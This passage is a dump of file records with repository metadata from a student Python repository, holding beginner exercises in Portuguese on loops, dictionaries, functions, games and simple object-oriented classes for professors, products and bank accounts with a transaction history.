r3:\\n print('Por possuir todos os lados diferentes esse triangulo é Escaleno')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.48524925112724304,\n \"alphanum_fraction\": 0.4950830936431885,\n \"avg_line_length\": 26.05504608154297,\n \"blob_id\": \"e5512b9aae4904a93e893b53db06d5825d23f305\",\n \"content_id\": \"e0202201911510b0bee05dbb89c0ec5730726e98\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2951,\n \"license_type\": \"permissive\",\n \"max_line_length\": 204,\n \"num_lines\": 109,\n \"path\": \"/Paradigmas_Program/Italo_Vinicius_Neves_Cordeiro.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nNome: Italo Vinicius Neves Cordeiro\\nRA: 21908201\\n\\\"\\\"\\\"\\nclass Disciplina:\\n def __init__(self, identificador, nome):\\n self._identificador = identificador\\n self._nome = nome\\n self._professor = []\\n\\n @property\\n def id(self):\\n return self._identificador\\n\\n @id.setter\\n def id(self, identificador):\\n self._identificador = identificador\\n\\n @property\\n def nome(self):\\n return self._nome\\n\\n @nome.setter\\n def nome(self, nome):\\n self._nome = nome\\n\\n @property\\n def professor(self):\\n return self._professor\\n\\n @professor.setter\\n def professor(self,professor):\\n self.professor = professor\\n\\n def cadastra_profesor(self,professor):\\n self.professor.append(professor)\\n\\n def monstra_dados_disciplina(self):\\n print(f'\\\\n Id:{self.id}'\\n f'\\\\n Nome: {self.nome}'\\n f'\\\\n \\\\n '\\n f'Lecionada por: ')\\n for professor in self._professor:\\n professor.mostra_professor()\\n def consulta_nome_professor(self):\\n nome = str(input('Digite o nome do professor: '))\\n for professor in self._professor:\\n if professor.nome == nome:\\n professor.mostra_professor()\\n else:\\n print('Professor não cadastrado!')\\n\\n def altera_idade_professor(self, nidadde):\\n p = str(input('Qual professor você deseja modificar? '))\\n self.consulta_nome_professor()\\n nidadde = str(input('Insira o novo nome: '))\\n\\n def dados_professor_mais_novo(self):\\n pass\\n\\n#==========================================================================================================================================================================================================\\n\\nclass Professor:\\n def __init__(self, cpf, nome, idade):\\n self._cpf = cpf\\n self._nome = nome\\n self._idade = idade\\n self._disciplina = None\\n\\n @property\\n def cpf(self):\\n return self._cpf\\n\\n @cpf.setter\\n def cpf(self,cpf):\\n self._cpf = cpf\\n\\n @property\\n def nome(self):\\n return self._nome\\n @nome.setter\\n def nome(self, nome):\\n self._nome = nome\\n\\n @property\\n def idade(self):\\n return self._idade\\n\\n @idade.setter\\n def idade(self, idade):\\n self._nome = idade\\n\\n def mostra_professor(self):\\n print(f'\\\\n Nome: {self.nome}'\\n f'\\\\n CPF: {self.cpf}'\\n f'\\\\n Idade: {self.idade}')\\n\\n def calcula_data_nascimento(self):\\n pass\\n\\n#===========================================================================================================================================================================================================\\nif __name__ == '__main__':\\n\\n p1 = Professor(12334234,'Italo',22)\\n d1 = Disciplina(12312,'Historia')\\n Professor.disciplina = Disciplina\\n d1.cadastra_profesor(p1)\\n d1.monstra_dados_disciplina()\\n d1.consulta_nome_professor()\\n\"\n },\n {\n \"alpha_fraction\": 0.6095890402793884,\n \"alphanum_fraction\": 0.6232876777648926,\n \"avg_line_length\": 47,\n \"blob_id\": \"42455ffb410a34229c7e21fcf533fdc6432057c4\",\n \"content_id\": \"25c1ee05792d096c0bceb3909afd6e2310bdf9eb\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 146,\n \"license_type\": \"permissive\",\n \"max_line_length\": 59,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M1/ex24.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ncidade =str(input('Digite o nome da sua cidade: ')).strip()\\nprint(\\\"Sua cidade tem santo no nome? \\\",cidade[:5]=='santo')\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4057970941066742,\n \"alphanum_fraction\": 0.4746376872062683,\n \"avg_line_length\": 26.5,\n \"blob_id\": \"3182b810e89b6d730d0dd592248f3c34c402b219\",\n \"content_id\": \"e48505b74daa1a6c638b1e85045ab746be0bd1b3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 276,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M3/ex86.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\\nfor l in range(0,3):\\n for c in range(0,3):\\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]:'))\\n\\nfor l in range(0,3):\\n for c in range(0,3):\\n print(f'[{matrix[l][c]:^3}]', end='')\\n print()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5528700947761536,\n \"alphanum_fraction\": 0.5694863796234131,\n \"avg_line_length\": 19.71875,\n \"blob_id\": \"28de89543a0865a5c61c45695bb4e94c45c10da0\",\n \"content_id\": \"dc67888a781a76df330b595c72a34ebb53491d16\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 662,\n \"license_type\": \"permissive\",\n \"max_line_length\": 69,\n \"num_lines\": 32,\n \"path\": \"/PythonPOO/produtos.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class Produto:\\n def __init__(self, nome, preco):\\n self.nome = nome\\n self.preco = preco\\n\\n def desconto(self, percentual):\\n self._preco = self._preco - (self._preco * (percentual/ 100))\\n\\n @property\\n def nome(self):\\n return self._nome\\n\\n @nome.setter\\n def nome(self,valor):\\n self._nome = valor\\n\\n # Getter\\n @property\\n def preco(self):\\n return self._preco\\n #setter\\n @preco.setter\\n def preco(self, valor):\\n if isinstance(valor,str):\\n valor =float(valor.replace('R$',''))\\n\\n self._preco = valor\\n\\n\\np1 = Produto('Camiseta','R$50')\\np1.desconto(10)\\nprint(p1.nome,p1.preco)\"\n },\n {\n \"alpha_fraction\": 0.460829496383667,\n \"alphanum_fraction\": 0.4930875599384308,\n \"avg_line_length\": 20.700000762939453,\n \"blob_id\": \"0766b269f490fa9f8473b6300c952303eac453ea\",\n \"content_id\": \"519356b36bebb13dce86b2c35c2e679ce1519871\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 223,\n \"license_type\": \"permissive\",\n \"max_line_length\": 39,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M2/ex52.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nc = 0\\nn = int(input('Digite um número: '))\\nfor i in range(1,n+1):\\n if n % i == 0:\\n c += 1\\nif c == 2:\\n print(f'O número {n} é primo!')\\nelse:\\n print(f'O número {n} não é primo!')\\n\"\n },\n {\n \"alpha_fraction\": 0.5019304752349854,\n \"alphanum_fraction\": 0.5559845566749573,\n \"avg_line_length\": 24.799999237060547,\n \"blob_id\": \"1b40f84a9a9f7153b3420e4688a604d59f994266\",\n \"content_id\": \"120dc2eb95c8748350fce26ea12120b22c7be0e1\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 260,\n \"license_type\": \"permissive\",\n \"max_line_length\": 68,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M2/ex54.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nc = 1\\nmaior = 0\\nfor i in range(1,8):\\n ano = int(input(f'Digite o ano de nascimento da {c}º pessoa: '))\\n c += 1\\n idade = 2020 - ano\\n if idade >= 18:\\n maior += 1\\nprint(f'Das 7 pessas {maior} atigiram a maior idade!')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.436855673789978,\n \"alphanum_fraction\": 0.45876288414001465,\n \"avg_line_length\": 28.846153259277344,\n \"blob_id\": \"77b318895c8ec171bc22bf4b3c5872ec0004ff6a\",\n \"content_id\": \"03bda68a6158335754cb87e093450b7d5714b678\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 780,\n \"license_type\": \"permissive\",\n \"max_line_length\": 58,\n \"num_lines\": 26,\n \"path\": \"/Curso-Em-Video/M2/ex68.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\nc = 0\\nwhile True:\\n pc = random.randint(1,10)\\n n = int(input('Diga um valor: '))\\n poi = str(input('Deseja par ou impar? [I/P]')).upper()\\n soma = pc + n\\n if poi == 'I':\\n if soma % 2 !=0:\\n print(f'O resultado foi:{soma} Você VENCEU!')\\n c += 1\\n print(f'Total de partidas {c}')\\n break\\n elif soma % 2 == 0:\\n c += 1\\n print(f'O resultado foi: {soma} você PERDEU')\\n elif poi =='P':\\n if soma % 2 == 0:\\n c += 1\\n print(f'O resultado foi: {soma} Você VENCEU!')\\n print(f'Total de partidas {c}')\\n break\\n elif soma % 2 != 0:\\n c += 1\\n print(f'O resultado foi: {soma} você PERDEU')\\n\"\n },\n {\n \"alpha_fraction\": 0.6949941515922546,\n \"alphanum_fraction\": 0.7013970017433167,\n \"avg_line_length\": 34.081634521484375,\n \"blob_id\": \"95fd66ed9575b78508da4ff447fb00571cb3b0dc\",\n \"content_id\": \"ebd1be932ff8db1ae546c458a128201ac808181d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1744,\n \"license_type\": \"permissive\",\n \"max_line_length\": 138,\n \"num_lines\": 49,\n \"path\": \"/Curso-Em-Video/M3/Dicionarios.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nDicionarios são variavees compostas formadas por conteúdos referenciados por chaves.\\nos dicionarios são declarados entre {x:y} onde x é a chave e y é o conteúdo referenciado\\n\\\"\\\"\\\"\\n\\npessoa ={'Nome':'Italo','sexo':'Masculino','Idade':'21'}\\n#print(pessoa)\\n#print(f'O {pessoa[\\\"Nome\\\"]} tem {pessoa[\\\"Idade\\\"]} anos de idade') # print formatado\\n#print(pessoa.keys())# -> mostra as chaves existentes no dicionário\\n#print(pessoa.values())# -> mostra os valores existentes no dicionário\\n#print(pessoa.items())# -> mostra tudo que está contido no dicionário\\n\\n#USANDO LAÇOS DE REPETIÇÃO\\n\\\"\\\"\\\"\\nfor k in pessoa.keys():\\n print(k) #mostrará apenas as chaves do dicionário\\n\\\"\\\"\\\"\\n\\\"\\\"\\\"\\nfor v in pessoa.values():\\n print(v)# mostra os valores do dicionario\\n\\\"\\\"\\\"\\n\\n\\\"\\\"\\\"\\nfor k, v in pessoa.items():\\n print(f'{k} = {v}') #mostra todo o conteudo do dicionario\\n\\\"\\\"\\\"\\n#del pessoa['sexo'] # deleta a chave sexo do dicionario\\n#pessoa['Nome'] = 'Leandro' # podemos mudar o valor da conteudo apenas com o sinal de '='\\n#pessoa['peso'] = 89.5 # podemos adicionar elementos sem a necessidade do append\\n\\n#LISTAS COM DICIONARIOS\\n\\\"\\\"\\\"\\nbrasil = []\\nestado1 = {'uf':'Rio de janeiro','sigla':'RJ'}\\nestado2 = {'uf':'São Paulo','Sigla':'SP'}\\nbrasil.append(estado1)\\nbrasil.append(estado2)\\nprint(brasil)\\n\\\"\\\"\\\"\\n# para adicionar dicionários em uma lista usando laçõs de repetição, nos devemos fazer uma copia do dicionário após preencher os dados\\n\\\"\\\"\\\"\\nestado = dict()\\nbrasil = list()\\nfor c in range(0,3):\\n estado['uf'] = str(input('Unidade federativa: '))\\n estado['Sigla'] = str(input('Sigla do estado: '))\\n brasil.append(estado.copy()) # sem o parametro .copy os primeiro dados inseridos no lacõ de for serão repetido até o final do programa\\nprint(brasil)\\n\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.6680327653884888,\n \"alphanum_fraction\": 0.7090163826942444,\n \"avg_line_length\": 15.333333015441895,\n \"blob_id\": \"59d439f584a9fe5a2d63916b806a596f3b43698f\",\n \"content_id\": \"cb59634813c82b95d60de08505d15732054bce45\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 246,\n \"license_type\": \"permissive\",\n \"max_line_length\": 66,\n \"num_lines\": 15,\n \"path\": \"/Geek-University/Seção4/tipo numerico.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nTipo Numerico\\n\\\"\\\"\\\"\\nnum = 1_000_000 # podemos utilizar '_' para separar casas decimais\\nprint(num)\\n\\n\\\"\\\"\\\"\\nTipo float \\ntipo real, decimal\\nsemparamos as casas déecimais por ponto e não por virgula\\n \\n\\\"\\\"\\\"\\nvalor = 1.40\\nprint(valor)\\nprint(type(valor))\"\n },\n {\n \"alpha_fraction\": 0.5136986374855042,\n \"alphanum_fraction\": 0.5479452013969421,\n \"avg_line_length\": 47.66666793823242,\n \"blob_id\": \"06f9c12ff750eec26be248683b672f6bc6a7685e\",\n \"content_id\": \"aa8ca50f2ed86e05f955961036d357e9e3f300a8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 150,\n \"license_type\": \"permissive\",\n \"max_line_length\": 84,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M1/ex06.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input(\\\"Digite um número: \\\"))\\nprint(f'O dobro de {n} é {n**2}\\\\n O triplo é {n**3}\\\\n A raiz quadrada é {n**(1/2)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6100386381149292,\n \"alphanum_fraction\": 0.6718146800994873,\n \"avg_line_length\": 42.16666793823242,\n \"blob_id\": \"b7b4f556c8fc2dba664cf473db4f995b42fb852a\",\n \"content_id\": \"53f3b8d773028e82ec7f407905226096180a2a4f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 260,\n \"license_type\": \"permissive\",\n \"max_line_length\": 75,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M3/ex74.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom random import randint\\nn = (randint(0,10),randint(0,10),randint(0,10),randint(0,10),randint(0,10))\\nprint(f'Os números sorteados foram: {n}')\\nprint(f'O maior valor gerado foi: {max(n)}')\\nprint(f'O menor valor gerado foi: {min(n)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5991342067718506,\n \"alphanum_fraction\": 0.6199133992195129,\n \"avg_line_length\": 36.129032135009766,\n \"blob_id\": \"a2b5f206e1eec4c25fe7106abb217bee0a767a5c\",\n \"content_id\": \"0e8f3985f64122d3b2b5a82b60340e09bf117fee\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1173,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 31,\n \"path\": \"/Curso-Em-Video/M2/ex45.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\n\\nmao =int(input(\\\"\\\"\\\"\\n \\\\n Escolha:\\n \\\\n [1] -> Pedra\\n \\\\n [2] -> Papel\\n \\\\n [3] -> Tesoura\\n \\\"\\\"\\\"))\\npc =random.randint(1,3)\\n\\nif pc == 1 and mao == 1:\\n print('O computador escolheu pedra e você também temos um EMPATE!')\\nelif pc == 1 and mao == 2:\\n print('O Computador escolheu pedra e você escolheu papel Você VENCEU!')\\nelif pc == 1 and mao == 3:\\n print('O computador escolheu pedra e você escolheu tesoura você PERDEU!')\\n\\nelif pc == 2 and mao == 2:\\n print('O computador escolheu papel e você também temos um EMPATE!')\\nelif pc == 2 and mao == 1:\\n print('O Computador escolheu papel e você escolheu pedra Você PERDEU!')\\nelif pc == 2 and mao == 3:\\n print('O computador escolheu papel e você escolheu tesoura você VENCEU!')\\n\\nelif pc == 3 and mao == 3:\\n print('O computador escolheu tesoura e você também temos um EMPATE!')\\nelif pc == 3 and mao == 2:\\n print('O Computador escolheu tesoura e você escolheu papel Você PERDEU!')\\nelif pc == 3 and mao == 1:\\n print('O computador escolheu tesoura e você escolheu pedra você VENCEU!')\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6209523677825928,\n \"alphanum_fraction\": 0.6285714507102966,\n \"avg_line_length\": 25.299999237060547,\n \"blob_id\": \"07d257a3e1a167617d8612c3575579a5032a6bd8\",\n \"content_id\": \"5ae9093f0ce698bbe7c2eb67cf1bda1112eed457\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 526,\n \"license_type\": \"permissive\",\n \"max_line_length\": 58,\n \"num_lines\": 20,\n \"path\": \"/curso_monitoria/matriz2.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"alunos = int(input(\\\"Quantos alunos tem na turma: \\\"))\\nmaterias = int(input(\\\"Quantas matérias eles estudam: \\\"))\\n\\nmediaTurma = 0\\nfor aluno in range(alunos):\\n print(\\\"Aluno\\\", aluno + 1, \\\":\\\")\\n\\n mediaAluno = 0\\n for materia in range(materias):\\n print(\\\"Nota da materia\\\", materia + 1, \\\":\\\", end='')\\n nota = int(input())\\n mediaAluno += nota\\n\\n mediaAluno /= materias\\n print(\\\"Media desse aluno:\\\", mediaAluno, \\\"\\\\n\\\")\\n\\n mediaTurma += mediaAluno\\n\\nmediaTurma /= alunos\\nprint(\\\"Media da turma:\\\", mediaTurma)\"\n },\n {\n \"alpha_fraction\": 0.5095541477203369,\n \"alphanum_fraction\": 0.5159235596656799,\n \"avg_line_length\": 26.34782600402832,\n \"blob_id\": \"de5379910e09b9972491453a930c81eba5f2d402\",\n \"content_id\": \"ddb67dd5f7f084be3cb59ab5c6ff907b6d4a838f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 628,\n \"license_type\": \"permissive\",\n \"max_line_length\": 44,\n \"num_lines\": 23,\n \"path\": \"/Prova/Funcoes.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def crie_matriz(linhas, colunas, valor):\\n matriz = []\\n for i in range(linhas):\\n linha = []\\n for j in range(colunas):\\n linha.append(valor)\\n matriz.append(linha)\\n\\n return matriz\\ndef escrever_memoria(linha, coluna,matriz):\\n linha = int(linha, 2) - 1\\n for j in range(len(matriz)):\\n if (coluna[j] == \\\"1\\\"):\\n matriz[linha][j] = \\\"#\\\"\\n\\n\\ndef imprimir_memoria(matriz):\\n for i in range(len(matriz)):\\n for j in range(len(matriz)):\\n if (j < len(matriz) - 1):\\n print(matriz[i][j], end=' ')\\n else:\\n print(matriz[i][j])\"\n },\n {\n \"alpha_fraction\": 0.5353535413742065,\n \"alphanum_fraction\": 0.6060606241226196,\n \"avg_line_length\": 29.461538314819336,\n \"blob_id\": \"4114715df48c091c471244485731b082bf3b84c3\",\n \"content_id\": \"60ff3643595daa2016b94052514ccb108112dc93\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 401,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 13,\n \"path\": \"/Curso-Em-Video/M1/cores.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n# ANSI\\n *Iniciar com cores em python -> \\\\033[m\\n -> entre o cochetes e o m colocamos o código da cor\\n *Exemplo\\\\033[0:33:44m\\n ->O primeiro parametro ocupado por 0 é o local de estilo\\n ->O segundo ocupado para 33 é para texto\\n ->O terceiro ocupado por 44 é o fundo\\n# pesquise -> colorise\\n\\\"\\\"\\\"\\n\\nprint('\\\\033[1;30;43mOlá, mundo!\\\\033[m')\\n\"\n },\n {\n \"alpha_fraction\": 0.6091954112052917,\n \"alphanum_fraction\": 0.633461058139801,\n \"avg_line_length\": 18.121952056884766,\n \"blob_id\": \"17adfd90f55d183daa9d64edd5fc91b9e8443bab\",\n \"content_id\": \"36ae3acab912ecb2bdd471c9609fdf0a2ed92043\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 798,\n \"license_type\": \"permissive\",\n \"max_line_length\": 102,\n \"num_lines\": 41,\n \"path\": \"/Curso-Em-Video/M3/Funcoes.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\n# Funções são rotiinas que execultam código quando são solicitas, elas podem ou não recever parametros\\n-> def nomefuncao(): -> estrutura basica de uma função\\n-> codigo\\nos parametros das funções ficam sempre dentro dos parenteses\\n\\n\\\"\\\"\\\"\\n\\\"\\\"\\\"\\n# exemplo de funções com parametros: \\n\\ndef soma(x,y):\\n s = x + y\\n print(s)\\nprint(soma(8,9))\\nprint(soma(x= 8,y=2 )) # também podemos declarar da seguinte maneira\\n\\\"\\\"\\\"\\n# usando lista com funções:\\n\\\"\\\"\\\"\\ndef dobra(lst):\\n pos = 0\\n while pos < len(lst):\\n lst[pos] *= 2\\n pos+= 1\\n\\n\\nvalores = [6,3,1,9,2,0]\\ndobra(valores)\\nprint(valores)\\n\\\"\\\"\\\"\\n# Desempacotando parametros\\n\\\"\\\"\\\"\\ndef soma(* valores):\\n s = 0\\n for num in valores:\\n s+= num\\n print(f'Somando os valores{valores} temos {s}')\\n\\n\\nsoma(5,2)\\nsoma(2,9,4)\\n\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.6465568542480469,\n \"alphanum_fraction\": 0.6636245250701904,\n \"avg_line_length\": 47.21714401245117,\n \"blob_id\": \"a7a737f6d11d5e55b4d9c8dca0e5e88f16506db3\",\n \"content_id\": \"639679ef297d311d68526ed9b4443d5cc7397d91\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8546,\n \"license_type\": \"permissive\",\n \"max_line_length\": 123,\n \"num_lines\": 175,\n \"path\": \"/Paradigmas_Program/aula03.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\" CEUB - Ciência da Computação - Prof. Barbosa\\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\\n\\n- Composição\\nNo programa anterior, usamos agregação. Agora, a classe Conta tem um Cliente e associamos\\nestas duas classes. Mas, a classe Cliente existe independente da classe Conta.\\nAgora, a Conta possui um histórico, contendo a data de abertura da conta e\\nsuas transações. Crie uma classe para representar o histórico:\\n\\n- Composição\\nQuando a existência de uma classe depende de outra classe, como é a relação da\\nclasse Histórico com a classe Conta, dizemos que a classe Historico compõe a classe Conta.\\n\\n- Implemente:\\n1- Crie a classe Historico com os atributos data/hora de abertura da conta e transações realizadas.\\n- Crie o método get para retornar a data/hora da abertura da conta.\\n- Crie o método get para retornar o historico da conta.\\n- Modifique a classe Conta de modo que ela tenha um historico. Diferente da relação do\\n cliente com uma conta, a existência de um histórico depende da existência de uma Conta\\n Ou seja, acrescente o atributo historico que recebe um objeto da classe Historico.\\n5- Altere o método deposito, ele deve armazenar as informações da transação no histórico\\n- Cria o objeto conta1, faça um depósito e mostre o histórico\\n- Na classe Historico, crie o método para mostrar o histórico da conta:\\n depósitos, saques, transferência e extratos\\n8- Altere o método sqque, ele deve armazenar as informações da transação no histórico, teste.\\n- Altere o método extrato, ele deve armazenar as informações da transação no histórico, teste.\\n10- Altere o método trasfere_para, ele deve armazenar as informações da transação no histórico\\n- Na conta1 realize: um depósito, um saque, transferência para conta 2 e um extrato, teste.\\n- Crie a connta2 (objeto) com o respectivo cliente\\n- Mostre o histórico das duas contas.\\n- Na conta2 realize: um depósito, um saque, um extrato e a transferência para conta 1.\\n15- Crie o extrato2 mais completo, mostre também os dados do cliente (nome, sobrenome e cpf)\\n- Na funcionalidade histórico, acrescente o dia e hora de cada transação.\\n- Altere o histórico para mostrar também o nome do correntista. \\\"\\\"\\\"\\n\\nfrom datetime import datetime\\nimport time\\nclass Cliente:\\n def __init__(self, nome, sobrenome, cpf):\\n self.nome = nome\\n self.sobrenome = sobrenome\\n self.cpf = cpf\\n def get_nome(self):\\n return self.nome\\n def set_nome(self, novo_nome):\\n self.nome = novo_nome\\n def get_sobrenome(self):\\n return self.sobrenome\\n def get_cpf(self):\\n return self.cpf\\n def nome_completo(self):\\n nc = f'{self.nome} {self.sobrenome}'\\n return nc\\nclass Historico:\\n def __init__(self):\\n self.data_abertura = datetime.today()\\n self.transacoes = []\\n def get_data_abertura(self):\\n return self.data_abertura\\n def get_transacoes(self):\\n return self.transacoes\\n def mostra_historico(self):\\n self.transacoes.append(\\\"Impressão do histórico em {}\\\".format(datetime.today()))\\n print(\\\"Histórico:\\\\nAbertura: {}\\\".format(self.data_abertura))\\n print(\\\"Transações:\\\")\\n for t in self.transacoes:\\n print(\\\"-\\\", t)\\n def mostra_historico2(self, nome):\\n self.transacoes.append(\\\"Impressão do histórico em {}\\\".format(datetime.today()))\\n print(\\\"Histórico:\\\\nAbertura: {}\\\".format(self.data_abertura))\\n print(\\\"Histórico do {}:\\\\nAbertura: {}\\\".format(nome, self.data_abertura))\\n print(\\\"Transações:\\\")\\n for t in self.transacoes:\\n print(\\\"-\\\", t)\\nclass Conta:\\n def __init__(self, numero, cliente, saldo, limite=1000.0):\\n self.numero = numero\\n self.titular = cliente # Objeto da classe Cliente\\n self.saldo = saldo\\n self.limite = limite\\n self.historico = Historico() # Chama o construtor (__init__) da classe Historico\\n ''' Com esse código, toda nova Conta criada já terá um novo Historico associado, \\n sem necessidade de instanciá-lo logo em seguida da criação (instanciação) de uma Conta.'''\\n def get_titular_nome(self):\\n return self.titular.nome\\n def set_titular_nome(self, nome):\\n self.titular.nome = nome\\n def get_titular_sobrenome(self):\\n return self.titular.sobrenome\\n def get_titular_cpf(self):\\n return self.titular.cpf\\n def get_saldo(self):\\n return self.saldo\\n def get_historico(self):\\n return self.historico\\n def get_titular(self):\\n return self.titular.__dict__ # cliente.__dict__\\n def deposito(self, valor):\\n self.saldo += valor\\n self.historico.get_transacoes().append(\\\"Depósito de R${}\\\".format(valor))\\n def deposito2(self, valor):\\n self.saldo += valor\\n dia_hora = datetime.today()\\n self.historico.get_transacoes().append(\\\"Depósito de R${} em {}\\\".format(valor, dia_hora))\\n # self.historico.get_transacoes().append(\\\"Depósito de R${} em {}\\\".format(valor, datetime.today()))\\n def saque(self, valor):\\n if self.saldo + self.limite < valor:\\n print('Saldo insuficiente.')\\n return False\\n else:\\n self.saldo -= valor\\n print('Saque realizado.')\\n self.historico.get_transacoes().append(\\\"saque de R${}\\\".format(valor))\\n return True\\n def extrato(self):\\n print(\\\"Extrato 1:\\\\nNúmero: {}, Saldo: {}\\\".format(self.numero, self.saldo))\\n self.historico.get_transacoes().append(\\\"Solicitou o extrato 1.\\\")\\n def extrato_2(self):\\n print(f'Extrato 2:\\\\nNome: {self.titular.get_nome()} {self.titular.get_sobrenome()}, CPF: {self.titular.get_cpf()}')\\n # print(f'Extrato 2:\\\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\\n print(\\\"Número: {}, Saldo: {}\\\".format(self.numero, self.saldo))\\n # self.historico.get_transacoes().append(\\\"Solicitou extrato 2 em {}\\\".format(datetime.today()))\\n def transfere_para(self, destino, valor):\\n retirou = self.saque(valor)\\n if not retirou: # if retirou == False:\\n print('Transferência não realizada')\\n return False\\n else:\\n destino.deposito(valor)\\n print('Transferência realizada com sucesso')\\n self.historico.get_transacoes().append(\\\"transferência de R$ {} para conta {}\\\".format(valor, destino.numero))\\n return True\\n\\n\\nif __name__ == '__main__': # main <tab>\\n cliente1 = Cliente('João', 'Oliveira', '11111111111-11')\\n conta1 = Conta('123-4', cliente1, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\\n time.sleep(1)\\n conta1.deposito(250)\\n time.sleep(1)\\n conta1.get_historico().mostra_historico()\\n conta1.historico.mostra_historico()\\n 